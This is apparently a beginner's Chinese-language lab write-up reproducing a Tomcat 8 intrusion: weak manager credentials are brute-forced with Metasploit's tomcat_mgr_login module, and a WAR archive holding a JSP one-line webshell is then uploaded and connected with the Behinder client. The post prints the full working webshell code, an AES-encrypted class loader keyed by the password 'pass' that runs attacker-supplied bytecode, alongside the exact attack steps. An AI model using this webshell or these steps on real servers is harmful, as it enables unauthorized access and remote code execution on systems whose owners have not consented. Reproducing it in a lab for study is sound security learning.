Tomcat8 - 弱口令与后台上传getshell的漏洞复现
漏洞形成原因
Tomcat manager 登录界面存在弱口令漏洞(tomcat,tomcat),登录成功后有上传点,
压缩包 xxx.wa r的.war不会被解析,直接访问 xxx/里面的一句话路径,可直接拿到shell
漏洞如何利用
- msfconsole 中弱口令爆破,爆破成功后登录;
- 找到上传点,上传带有一句话jsp文件的名为xxx.war的包;
- 访问 攻击ip地址/xxx/jsp文件路径,再用 webshell 连接工具进行连接。
漏洞复现过程
- Kali docker 容器中启动此漏洞环境
- 浏览器访问 Kali 的 ip 地址并接上8080端口
- 进入 msfconsole 界面
msfconsole
- 查找与 tomcat 相关的模块
search tomcat
- 使用 auxiliary/scanner/http/tomcat_mgr_login 模块
use auxiliary/scanner/http/tomcat_mgr_login
- 查看需要填写哪些参数
show options
- 将 rhosts 设置为目标机
set rhosts 172.16.2.174
- 进行爆破
run
带有+号的即为爆破成功的账号密码
- 点击 Manager App 进行登录
- 登录后找到上传点
- 将带有一句话的111.jsp文件压缩成zip,并且将压缩后的zip文件改名为111.war
- jsp 一句话木马,密码为pass
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>
- 上传111.war文件
- 访问 172.16.2.174:8080/111/111.jsp,显示500
- 上冰蝎
漏洞复现成功,
技术萌新,还请各位大牛多多指点!